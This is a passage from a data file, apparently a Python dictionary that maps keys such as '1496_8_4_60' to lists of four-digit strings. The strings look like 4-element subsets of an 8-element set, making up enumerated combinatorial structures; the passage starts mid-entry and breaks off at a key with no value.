['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1496_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1497_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1498_8_4_58' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','1267','0367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1499_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1500_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1501_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1502_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1503_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1504_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1505_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1506_8_4_52' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','1457','2457','3457','0167','0267','0367','0467','1467','2467','3467','0567','4567'] , '1507_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1508_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1509_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1510_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1511_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1512_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1513_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1514_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','1267','0367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1515_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1516_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','2567','3567','4567'] , '1517_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1518_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1519_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1520_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1521_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1522_8_4_57' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0127','0137','0237','0147','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1523_8_4_59' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1524_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1525_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1526_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1527_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1528_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','3567','4567'] , '1529_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1530_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1531_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','1467','2467','3467','0567','1567','2567','3567','4567'] , '1532_8_4_61' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','1236','0146','0246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1533_8_4_53' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','0146','1246','0346','1346','2346','0156','0256','0356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','0457','1457','2457','3457','0167','0267','0367','0467','1467','2467','3467','0567','4567'] , '1534_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1535_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','2567','3567','4567'] , '1536_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1537_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1538_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','1457','2457','3457','0167','0267','1267','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1539_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','0147','0247','1247','0347','1347','2347','0157','0257','0357','1457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1540_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1541_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1542_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1543_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','4567'] , '1544_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1545_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1546_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0156','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','1567','2567','3567','4567'] , '1547_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1548_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1549_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1550_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1551_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1552_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1553_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1554_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1555_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1556_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1557_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','1257','0357','1357','2357','0457','2457','3457','0167','0267','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1558_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','0567','1567','2567','3567','4567'] , '1559_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','0567','1567','3567','4567'] , '1560_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','2367','1467','3467','0567','1567','2567','3567','4567'] , '1561_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','2457','3457','0167','1267','0367','1367','2367','1467','3467','0567','1567','2567','4567'] , '1562_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','2567','4567'] , '1563_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','3457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1564_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','1357','2357','0457','1457','3457','0167','0267','1267','0367','1367','0467','2467','3467','0567','1567','2567','3567','4567'] , '1565_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','3457','0267','1267','0367','1367','0467','1467','2467','3467','2567','3567','4567'] , '1566_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0157','0257','1257','0357','1357','2357','0457','1457','2457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1567_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','1237','0147','0247','1247','0347','1347','2347','0257','1257','0357','1357','2357','0457','1457','2457','0267','1267','0367','1367','2367','0467','1467','2467','3467','2567','3567','4567'] , '1568_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','1467','2467','3467','0567','1567','3567','4567'] , '1569_8_4_62' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0137','0237','1237','0147','0247','1247','0347','1347','0157','0257','1257','1357','2357','0457','1457','2457','3457','0167','0267','1267','0367','1367','2367','0467','2467','3467','0567','1567','3567','4567'] , '1570_8_4_60' : ['0123','0124','0234','1234','0125','0135','0235','0145','0245','1245','0345','1345','2345','0126','0136','0236','1236','0146','1246','0346','1346','2346','0256','1256','0356','1356','2356','0456','1456','2456','3456','0127','0237','1237','0247','1247','2347','0157','1257','0357','1357','2357','0457','1457','2457','3457','0167','0267','0367','1367','2367','0467','1467','2467','3467','0567','1567','2567','3567','4567'] , '1571_8_4_58' : 